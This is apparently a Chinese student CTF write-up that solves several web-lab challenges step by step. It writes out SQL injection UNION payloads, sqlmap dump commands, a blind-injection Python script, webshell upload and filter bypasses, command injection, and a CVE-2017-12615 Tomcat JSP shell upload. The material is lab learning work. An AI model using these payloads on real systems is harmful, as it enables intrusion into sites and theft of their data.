T-Sta高校挑战赛

解题过程

签到

操作内容:

1.访问靶场,发现是上传点

2.审查元素发现是前端过滤

img

3.上传一个图片马,密码cmd,Burpsuite 抓包绕过前端过滤,之后修改后缀为php即上传成功

img

4.返回上传页面,获取图片的链接

5.用蚁剑连接成功

img

6.翻找目录发现 key

img

命令执行基础

操作内容:

1.访问靶场,发现是ping命令,输入127.1,响应ping 的内容

img

2.之后注入 127.1|ls

img

3.再注入

img

4.最后

img

你能爆破吗

操作内容:

1.题目描述“Cookie注入”,访问靶场

2.弱口令admin/admin登陆尝试,发现登陆成功,登陆后跳转到index.php

img

3.响应发现提示uname和一条SQL语句,由题意想到是Cookie注入,uname BASE64 解码发现是 admin

4.保存Request数据包为 1.req,在Cookie参数处加*,确定sqlmap注入点

5.sqlmap 跑之,使用base64加密脚本

​ sqlmap -r 1.req --tamper=base64encode

​ sqlmap -r 1.req --tamper=base64encode --dbs

img

​ sqlmap -r 1.req --tamper=base64encode -D security --tables

img

​ sqlmap -r 1.req --tamper=base64encode -D security -T flag --columns

​ sqlmap -r 1.req --tamper=base64encode -D security -T flag -C flag,id --dump

img

成绩单

操作内容:

1.先输入1,2,3分别查询一下,发现可以得到不同结果,说明参数可控,传输方式为post

2.尝试一下有无sql注入,先输入1 and 1=1#无错误,再输入1 and 1=2#也无错误,判断不是数字型注入,尝试1' and 1=1#,无报错,尝试1' and 1=2#无显示,认为是报错了,可以判断这是一个字符型注入。

3.先查列数,用1' order by*#逐个尝试,发现4没有报错但5报错了,判断列数为四,且四个位置都可以回显。

4.使用-1' union select 1,2,3,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA#查询数据库信息,发现除了正常的数据库之外有个web1的数据库,猜测是存放flag的数据库。

5.用-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='web1'#查询web1数据库下的表,发现一个fl4g的表,基本可以判断flag就在这里了。

6.用-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#查询fl4g的列名,发现flag这个列名。

7.查看flag的内容-1' union select 1,2,3,flag from web1.fl4g#得到flag: flag{Sql_INJECT0N_4813drd8hz4}

小猫咪踩灯泡

操作内容:

1.题目提示 CVE-2017-12615,百度漏洞复现过程,参考 https://blog.csdn.net/darkhq/article/details/79302051

2.put 上传 jsp shell

img

3.远程命令执行

img

img

文件包含GetShell

操作内容:

1.根据提示是文件包含phar,文件上传的是txt格式。

将一句话shell.php压缩成shell.zip,并将后缀名改成.txt

img

2.文件上传

img

3.尝试文件包含

img

4.ls查看文件,发现flag.php

img

4.获取flag.php(这里有回显,命令执行成功)

img

5.查看源代码获取到flag

img

文件上传

对文件名、Content-Type、文件内容、文件大小进行检查

双写<?和eval可以绕过文本替换,可以上传pht

image-20200701165826920

然后访问发现看不到我们写入的一句话,说明解析成功(开始不知道看不到一句话就是解析成功了)

image-20200701165807068

通过php的system执行命令,得到flag

image-20200701165845892

分析代码获得flag

开始猜测是写入shell,后面发现写入shell是不成功的,有index.php的干扰。参考大佬的wp。

使用cat命令读取上级,先写入cat

image-20200701163441703

然后看到key是在上层目录

image-20200701163505080

然后直接使用cat来读取 * ../*

image-20200701163544581

原题:https://github.com/XDSEC/xdsec_ctf/tree/494b53d388186e8be21e753bb2048362842280c1/xdctf2015/izyCTF

SQL注入2

目录扫描到wwwroot.zip,发现过滤的比较死,猜测账号密码图片都在同一个数据库表中,脚本如下。

import requests
a =['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9']
temp = ''
while(1):
    for i in a:
        url = 'http://ip/picture.php?id=3" or password REGEXP '+'\'^'+temp+i+'\' %23'
        r = requests.get(url)
        if 'not found' not in r.text:
            temp = temp+i
            print (temp)
            break

image-20200701163909402

dedecms,然后去掉前三位跟后三位然后somd5解密

image-20200701164004318

总结

​ 靶场赛上的题目大多数都是讲过的。分析代码获取flag想的是各种写入shell(6字符、5字符尝试都不成功),看了大佬的wp豁然开朗。总的来说,还是学到了不少东西。